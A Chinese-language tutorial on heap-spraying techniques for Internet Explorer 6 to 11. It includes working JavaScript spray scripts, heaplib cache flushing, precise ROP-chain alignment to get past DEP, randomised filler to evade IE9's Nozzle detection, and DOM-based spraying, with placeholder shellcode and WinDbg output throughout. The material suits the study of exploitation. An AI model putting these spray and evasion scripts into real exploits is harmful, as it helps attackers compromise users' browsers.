作者:seviezhou
预估稿费:500RMB
投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿
什么是堆喷射
为了在浏览器攻击中获得可预测的shellcode地址,堆喷射(Heap Spray)技术被发明出来,Heap Spray技术在Exploit中的利用开始于2001年,针对浏览器的堆喷射一般通过JavaScript执行,通过JavaScript申请大段的堆内存,再通过漏洞控制EIP,跳到堆中可预测的地址处执行shellcode,Heap Spray技术不仅仅可以用于浏览器,对于Adobe PDF Reader等支持JavaScript的程序也可以使用堆喷射技术把shellcode放在可预测的地址,还有用图片进行Heap Spray的技术,堆喷射技术使得针对浏览器等程序的攻击变得相对简单化和稳定,而且可以写出更加通用的Exploit,虽然ASLR和DEP的出现使得堆喷射的攻击更加困难,但精准的堆喷加上ROP也能够在这种情况下成功Exploit,下面会分别介绍对于不同版本IE浏览器的堆喷的不同之处。
用windbg调试浏览器
为了使用有关堆的调试命令,需要在windbg中配置符号表,只要在Symbol file path中输入:
SRV*c:windbgsymbols*http://msdl.microsoft.com/download/symbols
然后关闭windbg并点击保存工作空间。
然后讲一下调试中使用的主要命令:
!heap -stat显示被调试进程的所有堆使用情况:
0:007> !heap -stat
_HEAP 00140000
Segments 00000002
Reserved bytes 00200000
Committed bytes 0009d000
VirtAllocBlocks 000001f5
VirtAlloc bytes 80800050
...
...
!heap -a 00140000关于00140000处堆的详细情况,输出会有些多:
0:007> !heap -a 00140000
Index Address Name Debugging options enabled
1: 00140000
Segment at 00140000 to 00240000 (0007e000 bytes committed)
Flags: 00000002
ForceFlags: 00000000
Granularity: 8 bytes
Segment Reserve: 00100000
Segment Commit: 00002000
DeCommit Block Thres: 00000200
DeCommit Total Thres: 00002000
Total Free Size: 00000c0f
Max. Allocation Size: 7ffdefff
Lock Variable at: 00140608
Next TagIndex: 0000
Maximum TagIndex: 0000
Tag Entries: 00000000
PsuedoTag Entries: 00000000
Virtual Alloc List: 00140050
UCR FreeList: 00140598
FreeList Usage: 00040078 00000040 00000000 00000000
...
...
!heap -stat -h 00140000可以查看00140000堆的分配统计数据:
0:007> !heap -stat -h 00140000
heap @ 00140000
group-by: TOTSIZE max-display: 20
size #blocks total ( %) (percent of total busy bytes)
7ffe0 1f5 - fa7c160 (99.78)
8000 1 - 8000 (0.01)
7fe0 1 - 7fe0 (0.01)
7fb0 1 - 7fb0 (0.01)
619c 1 - 619c (0.01)
614 e - 5518 (0.01)
52ac 1 - 52ac (0.01)
4fe4 1 - 4fe4 (0.01)
...
...
!heap -flt s 7ffe0查看大小为7ffe0的内存,在堆喷的时候可以方便的找到payload所在的地址:
0:007> !heap -flt s 7ffe0
_HEAP @ 140000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
02240018 fffc 0000 [0b] 02240020 7ffe0 - (busy VirtualAlloc)
01fe0018 fffc fffc [0b] 01fe0020 7ffe0 - (busy VirtualAlloc)
022c0018 fffc fffc [0b] 022c0020 7ffe0 - (busy VirtualAlloc)
02340018 fffc fffc [0b] 02340020 7ffe0 - (busy VirtualAlloc)
...
...
这里HEAP_ENTRY是堆的头部,UserPtr是BSTR对象头部:
0:007> dd 02240018
02240018 00000020 00000b00 0007ffd4 90909090
02240028 90909090 90909090 90909090 90909090
02240038 90909090 90909090 90909090 90909090
!heap -p -a 0x0c0c0c0c查看0x0c0c0c0c处的数据属于哪个堆:
0:007> !heap -p -a 0x0c0c0c0c
address 0c0c0c0c found in
_HEAP @ 140000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
0c0c0018 fffc 0000 [0b] 0c0c0020 7ffe0 - (busy VirtualAlloc)
还有在内存空间搜索字符串可以用s命令,-a表示搜索ascii,-u表示搜索unicode:
0:007> s -a 0x00000000 L?7fffffff "AAAA"
0018ef03 41 41 41 41 41 41 41 64-64 64 64 64 64 18 89 89 AAAAAAAdddddd...
0018ef04 41 41 41 41 41 41 64 64-64 64 64 64 18 89 89 89 AAAAAAdddddd....
...
...
堆喷射内存布局
在浏览器中分配的字符串都会被转换成unicode,所以为了准确传递字符,我们需要使用JavaScript中的unescape函数,这个函数用于解码字符串,所以用已经是unicode的字符串,在内存中就不会再次被转换成unicode了,用%u加在每两字节之前,注意两字节要反序排列。分配字符串后会变成BSTR字符串对象,含有四字节的头信息和两个NULL字节的结尾。
一般的堆喷射内存布局就是大量的nop指令(也称为滑板指令)加上shellcode,shellcode放在每个块的尾部,只要保证喷射堆块足够大,那么预测的地址处就会是nop指令,然后执行到shellcode。
在堆喷中最著名的地址要数0x0c0c0c0c了,解释一下为什么使用这个地址。如果在Exploit中通过覆盖堆栈中的虚表的话,使用这个地址就会十分合适,当虚函数被调用时,先取得栈中的对象指针,通过对象指针取得虚表指针,然后在虚表内适当偏移处取得函数指针执行,示意图:
Stack
+---------+ Object
| obj_ptr | ----> +--------+ Vtable
+---------+ |p_Vtable| ---> +-------+
| | +--------+ |p_func1| ----> func1
+---------+ | | +-------+
| | +--------+
+---------+
假如将obj_ptr覆盖为0x0c0c0c0c,将0x0c0c0c0c地址内的内容填为x0cx0cx0cx0c,那么顺着这条调用链,最后还是会调用0x0c0c0c0c地址处的指令,而且:
004010A0 0C 0C OR AL,0C
004010A2 0C 0C OR AL,0C
可见0c0c指令作用和nop一样,也可以作为滑板指令。
接下来计算一下到底需要多大的内存块才能喷射到0x0c0c0c0c:
0x0c0c0c0c = 202116108
202116108字节(b)=192.7529411兆字节(mb)
所以只要堆喷射大于200MB就肯定能够喷射到目标地,但由于分配的起始地址并不是从零开始,所以实际中并不需要那么大的内存,还有一个要注意的点就是unescape返回的对象在用.length计算长度时返回的是实际长度的一般,也就是说:
> s = unescape("%u4142%u4344%u4546")
> s.length
3
一份堆喷射的脚本可能看起来像这样:
<html>
<script>
tag = unescape('%u4141%u4141');
chunk = '';
chunksize = 0x1000;
nr_of_chunks = 200;
for (counter = 0; counter < chunksize; counter++) {
chunk += unescape('%u9090%u9090');
}
chunk = chunk.substring(0, chunksize - tag.length);
testarray = new Array();
for (counter = 0; counter < nr_of_chunks; counter++) {
testarray[counter] = tag + chunk;
}
</script>
</html>
通过数组分配大量内存。
XP下IE6和IE7的堆喷射
为了运行多个版本的IE,可以使用IE Collection安装多个版本的IE,这里在XP SP3上安装了IE6和IE7用于测试。
IE6和IE7上稳定的堆喷脚本如下:
<html>
<script>
var shellcode = unescape('%u4141%u4141');
var bigblock = unescape('%u9090%u9090');
var headsize = 20;
var slackspace = headsize + shellcode.length;
while (bigblock.length < slackspace) bigblock += bigblock;
var fillblock = bigblock.substring(0, slackspace);
var block = bigblock.substring(0, bigblock.length - slackspace);
while (block.length + slackspace < 0x40000) block = block + block + fillblock;
var memory = new Array();
for (i = 0; i < 500; i++) {memory[i] = block + shellcode;}
</script>
</html>
分配了500块大小为0x40000 * 2的内存块(.length返回大小为实际大小一半),结果:
0:009> dd 0c0c0c0c
0c0c0c0c 90909090 90909090 90909090 90909090
0c0c0c1c 90909090 90909090 90909090 90909090
...
可以尝试多次,发现都是成功的,查看堆的状态:
0:009> !heap -stat -h 00140000
heap @ 00140000
group-by: TOTSIZE max-display: 20
size #blocks total ( %) (percent of total busy bytes)
7ffe0 1f5 - fa7c160 (99.78)
8000 1 - 8000 (0.01)
7fe0 1 - 7fe0 (0.01)
...
基本上块的大小都是7ffe0,也就是我们分配的0x40000 * 2。
Win7下的IE8的堆喷射
对于IE8浏览器,之前的脚本不再适用,而且IE8一般都配合了DEP,所以不仅需要堆喷射,还需要精准的堆喷射,使得预测的地址正好在ROP链的起始,否则绕不过DEP的防护。
对于JavaScript申请字符串并不总是从系统堆中申请,通常是由OLEAUT32.DLL中的堆管理器来进行管理,其中维护了一张缓存表,每当一块内存被释放,堆管理器就会把指向那块内存的指针放到缓存表中,当下次再次分配内存时,管理器会优先把缓存表中合适的内存块返回给程序。
缓存表有四个bin,每个bin可以容纳6块已经被释放的内存块,每个bin可容纳块的大小不同,大于32767 bytes的块直接被释放,不会缓存:
CacheEntry bin_1_32 [6]; // blocks from 1 to 32 bytes
CacheEntry bin_33_64 [6]; // blocks from 33 to 64 bytes
CacheEntry bin_65_256 [6]; // blocks from 65 to 265 bytes
CacheEntry bin_257_32768[6]; // blocks from 257 to 32768 bytes
我们需要保证每次分配内存都由系统堆处理,而不是缓存,通过缓存申请的堆空间可能在堆里的任何地方,所以预测的地址会变得不可靠,由于每个bin只能容纳6块,Alexander Sotirov提出了plunger技术,在堆喷前强制刷新所有缓存块,具体就是为每个bin申请其可容纳的最大堆块大小的内存,保证了所有缓存都是空的,接下来的分配都会由系统堆处理。
为了实现精准的堆喷,在IE8下我使用了heaplib.js这个JavaScript的堆管理库,Alexander Sotirov在Heap Feng Shui in JavaScript这篇文章中描述并实现了heaplib.js库。
heaplib中对于plunger的实现:
heapLib.ie.prototype.flushOleaut32 = function() {
this.debug("Flushing the OLEAUT32 cache");
// Free the maximum size blocks and push out all smaller blocks
this.freeOleaut32("oleaut32");
// Allocate the maximum sized blocks again, emptying the cache
for (var i = 0; i < 6; i++) {
this.allocOleaut32(32, "oleaut32");
this.allocOleaut32(64, "oleaut32");
this.allocOleaut32(256, "oleaut32");
this.allocOleaut32(32768, "oleaut32");
}
}
IE8下的脚本,需要包含heaplib.js,还有注意在IE8中不能把html文件直接拖到IE中,最好搭建本地服务器访问,可以把heaplib.js直接粘到下面文件的前面:
<html>
<script language='javascript'>
var heap_obj = new heapLib.ie(0x10000);
var code = unescape("%ucccc%ucccc"); //Code to execute
var nops = unescape("%u9090%u9090"); //NOPs
while (nops.length < 0x1000) nops+= nops; // create big block of nops
var shellcode = nops.substring(0,0x800 - code.length) + code;
while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(2, 0x40000 - 0x21);
//spray
for (var i=0; i < 500; i++) {
heap_obj.alloc(block);
}
document.write("Spray done");
// Can't directly drag into iexplore
</script>
</html>
查看分配的内存:
0:016> !heap -flt s 7ffc0
_HEAP @ 140000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
037c0018 fff8 0000 [0b] 037c0020 7ffc0 - (busy VirtualAlloc)
03850018 fff8 fff8 [0b] 03850020 7ffc0 - (busy VirtualAlloc)
038e0018 fff8 fff8 [0b] 038e0020 7ffc0 - (busy VirtualAlloc)
03970018 fff8 fff8 [0b] 03970020 7ffc0 - (busy VirtualAlloc)
03a00018 fff8 fff8 [0b] 03a00020 7ffc0 - (busy VirtualAlloc)
03a90018 fff8 fff8 [0b] 03a90020 7ffc0 - (busy VirtualAlloc)
03b20018 fff8 fff8 [0b] 03b20020 7ffc0 - (busy VirtualAlloc)
03bb0018 fff8 fff8 [0b] 03bb0020 7ffc0 - (busy VirtualAlloc)
...
...
0bfe0018 fff8 fff8 [0b] 0bfe0020 7ffc0 - (busy VirtualAlloc)
0c070018 fff8 fff8 [0b] 0c070020 7ffc0 - (busy VirtualAlloc)
0c100018 fff8 fff8 [0b] 0c100020 7ffc0 - (busy VirtualAlloc)
...
...
0:016> !heap -p -a 0c0c0c0c
address 0c0c0c0c found in
_HEAP @ 140000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
0c070018 fff8 0000 [0b] 0c070020 7ffc0 - (busy VirtualAlloc)
可以发现地址都是以0x10000对齐的,这就为精准堆喷打下了基础,可以精确计算堆块中的位置,0x0c0c0c0c处于0x0c070018处的块中。
查看一下0x0c0c0018处的内存:
0:016> dd 0c0c0018
0c0c0018 90909090 cccccccc 90909090 90909090
0c0c0028 90909090 90909090 90909090 90909090
可以知道下一个块起始于0x0c0c0018+0x8,计算ROP起始偏移:
0x0c0c0c0c - 0x0c0c0018 + 0x8 = 0xbec
0xbec / 2 = 0x5f6
假设ROP链为AAAABBBBCCCCDDDD,shellcode为xccxccxccxcc,把脚本改为:
<html>
<script language='javascript'>
var heap_obj = new heapLib.ie(0x10000);
var code = unescape("%ucccc%ucccc");
var rop = unescape("%u4141%u4141%u4242%u4242%u4343%u4343%u4444%u4444");
var padding = unescape("%u9090%u9090");
while (padding.length < 0x1000) padding += padding; // create big block of nops
offset_length = 0x5F6;
junk_offset = padding.substring(0, offset_length);
var shellcode = junk_offset + rop + code + padding.substring(0, 0x800 - code.length - junk_offset.length - rop.length);
while (shellcode.length < 0x40000) shellcode += shellcode;
var block = shellcode.substring(2, 0x40000 - 0x21);
for (var i=0; i < 500; i++) {
heap_obj.alloc(block);
}
document.write("Spray done");
</script>
</html>
查看预测地址:
0:019> dd 0c0c0c0c
0c0c0c0c 41414141 42424242 43434343 44444444
0c0c0c1c cccccccc cccccccc cccccccc cccccccc
0c0c0c2c cccccccc cccccccc cccccccc cccccccc
成功实现了精准堆喷射。
Vista下的IE9的堆喷射
IE8下的脚本在IE9下不再有用,因为IE9使用了Nozzle的防御措施,检测包含重复内容的内存申请,然后会阻止这样的申请,导致堆喷失败,由于我们的堆喷是精确的,所以前后的数据都不一定是滑板指令,可以是随机数,可以利用JavaScript的数学随机数生成随机串,绕过检测。
堆喷射脚本,同样需要包含heaplib.js:
<html>
<script language='javascript'>
var heap_obj = new heapLib.ie(0x10000);
var code = unescape("%u6174%u7367"); //tags
for (var i=0; i < 0x800; i++) {
var randomnumber1=Math.floor(Math.random()*90)+10;
var randomnumber2=Math.floor(Math.random()*90)+10;
var randomnumber3=Math.floor(Math.random()*90)+10;
var randomnumber4=Math.floor(Math.random()*90)+10;
var BUNSTstr = "%u" + randomnumber1.toString() + randomnumber2.toString()
BUNSTstr += "%u" + randomnumber3.toString() + randomnumber4.toString()
var BUNST = unescape(BUNSTstr);
while (BUNST.length < 0x1000) BUNST+= BUNST;
var single_sprayblock = BUNST.substring(0, 0x800 - code.length) + code;
while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock;
sprayblock = single_sprayblock.substring(0, (0x40000-6)/2);
heap_obj.alloc(sprayblock);
}
document.write("Spray done");
</script>
</html>
首先堆喷是成功的:
0:017> dd 0c0c0c0c
0c0c0c0c 53885684 53885684 53885684 53885684
0c0c0c1c 53885684 53885684 53885684 53885684
由于IE9中的堆喷用之前的方法查看不到堆的情况,所以我把code设为tags,堆喷完成后在内存中搜索tags:
0:017> s -a 0x00000000 L?7fffffff "tags"
00419b75 74 61 67 73 0a 2f 2f 76-61 72 20 72 6f 70 20 3d tags.//var rop =
01ff473f 74 61 67 73 20 28 61 74-74 72 69 62 75 74 65 73 tags (attributes
0207c23c 74 61 67 73 2e 20 41 6c-73 6f 20 61 64 64 69 6e tags. Also addin
...
0396100c 74 61 67 73 92 39 90 17-92 39 90 17 92 39 90 17 tags.9...9...9..
0396200c 74 61 67 73 92 39 90 17-92 39 90 17 92 39 90 17 tags.9...9...9..
0396300c 74 61 67 73 92 39 90 17-92 39 90 17 92 39 90 17 tags.9...9...9..
0396400c 74 61 67 73 92 39 90 17-92 39 90 17 92 39 90 17 tags.9...9...9..
0396500c 74 61 67 73 92 39 90 17-92 39 90 17 92 39 90 17 tags.9...9...9..
0396600c 74 61 67 73 92 39 90 17-92 39 90 17 92 39 90 17 tags.9...9...9..
0396700c 74 61 67 73 92 39 90 17-92 39 90 17 92 39 90 17 tags.9...9...9..
0396800c 74 61 67 73 92 39 90 17-92 39 90 17 92 39 90 17 tags.9...9...9..
0396900c 74 61 67 73 92 39 90 17-92 39 90 17 92 39 90 17 tags.9...9...9..
0396a00c 74 61 67 73 92 39 90 17-92 39 90 17 92 39 90 17 tags.9...9...9..
...
...
前面的是脚本在内存中的映射,看后面实际分配的内存,发现此时内存仍然是对齐的,按照0x1000对齐,计算得到偏移为0x5fe。
精准堆喷脚本:
<html>
<script language='javascript'>
var heap_obj = new heapLib.ie(0x10000);
var code = unescape("%ucccc%ucccc");
var rop = unescape("%u4141%u4141%u4242%u4242%u4343%u4343%u4444%u4444");
var offset_length = 0x5fe;
for (var i=0; i < 0x800; i++) {
var randomnumber1=Math.floor(Math.random()*90)+10;
var randomnumber2=Math.floor(Math.random()*90)+10;
var randomnumber3=Math.floor(Math.random()*90)+10;
var randomnumber4=Math.floor(Math.random()*90)+10;
var BUNSTstr = "%u" + randomnumber1.toString() + randomnumber2.toString()
BUNSTstr += "%u" + randomnumber3.toString() + randomnumber4.toString()
var BUNST = unescape(BUNSTstr);
while (BUNST.length < 0x1000) BUNST+= BUNST;
junk_offset = BUNST.substring(0, offset_length);
var single_sprayblock = junk_offset + rop + code + BUNST.substring(0, 0x800 - code.length - junk_offset.length - rop.length);
while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock;
sprayblock = single_sprayblock.substring(0, (0x40000-6)/2);
heap_obj.alloc(sprayblock);
}
document.write("Spray done");
</script>
</html>
结果:
0:022> dd 0c0c0c0c
0c0c0c0c 41414141 42424242 43434343 44444444
0c0c0c1c cccccccc 57376654 57376654 57376654
另外前人总结了不同浏览器下堆喷射的尺寸:
OS & Browser Block syntax
XP SP3 – IE7 block = shellcode.substring(2,0×10000-0×21);
XP SP3 – IE8 block = shellcode.substring(2, 0×40000-0×21);
Vista SP2 – IE7 block = shellcode.substring(0, (0×40000-6)/2);
Vista SP2 – IE8 block = shellcode.substring(0, (0×40000-6)/2);
Win7 – IE8 block = shellcode.substring(0, (0×80000-6)/2);
Win8下的IE10和IE11的堆喷射
IE9下的脚本在IE10和IE11中不再适用,IE10和IE11中无法再使用传统的BSTR字符串的方法,而要使用一种称为DEPS的技术,这种技术使用html的标签来进行堆喷射,具体就是创建大量的DOM对象,在对象的某一个属性中填入相应的字符串,这一技术的发明者给出了测试脚本:
<html>
<head></head>
<body>
<div id="blah"></div>
<script language="javascript">
var div_container = document.getElementById("blah");
div_container.style.cssText = "display:none";
var data;
offset = 0x104;
junk = unescape("%u2020%u2020");
while (junk.length < 0x1000) junk += junk;
var rop = unescape("%u4141%u4141%u4242%u4242%u4343%u4343%u4444%u4444");
shellcode = unescape("%ucccc%ucccc");
data = junk.substring(0, offset) + rop + shellcode
data += junk.substring(0, 0x800 - offset - rop.length - shellcode.length);
while (data.length < 0x80000) data += data;
for (var i = 0; i < 0x500; i++)
{
var obj = document.createElement("button");
obj.title = data.substring(0, 0x40000 - 0x58);
div_container.appendChild(obj);
}
document.write("spray done!");
</script>
</body>
</html>
这个脚本先创建了一个div标签,然后加入了大量的button元素,将每个button元素的title设置为要喷射的字符串。
由于win8下现在默认安装的是IE11,而且IE10和IE11差不多,这里用IE11做实验,注意这里不再使用经典的0x0c0c0c0c作为预测地址,而是使用0x20302228作为预测地址,这也算是前人研究的结果。
win8下的IE11:
0:016> dd 20302228
20302228 41414141 42424242 43434343 44444444
20302238 cccccccc 20202020 20202020 20202020
20302248 20202020 20202020 20202020 20202020
对于火狐使用地址是0x20202210或0x20302210,对于IE8、IE9、IE10使用地址为0x20302228或0x20202228。
XP下的IE8:
0:021> dd 0x20302228
20302228 41414141 42424242 43434343 44444444
20302238 cccccccc 20202020 20202020 20202020
20302248 20202020 20202020 20202020 20202020
Vista下的IE9:
0:022> dd 0x20302228
20302228 41414141 42424242 43434343 44444444
20302238 cccccccc 20202020 20202020 20202020
20302248 20202020 20202020 20202020 20202020
这次的堆喷射脚本可能比之前喷射要慢一些。
总结
除了以上的方法,还有HTML5 Spray、ActionScript Spray、Array Object Heap Spraying、JIT Spray等方法进行堆喷射和绕过浏览器的安全机制,当然现在大部分系统都变成了64位,在64位下的堆喷射由于地址空间过大,所以堆喷射没有什么意义,但在小范围仍有用处。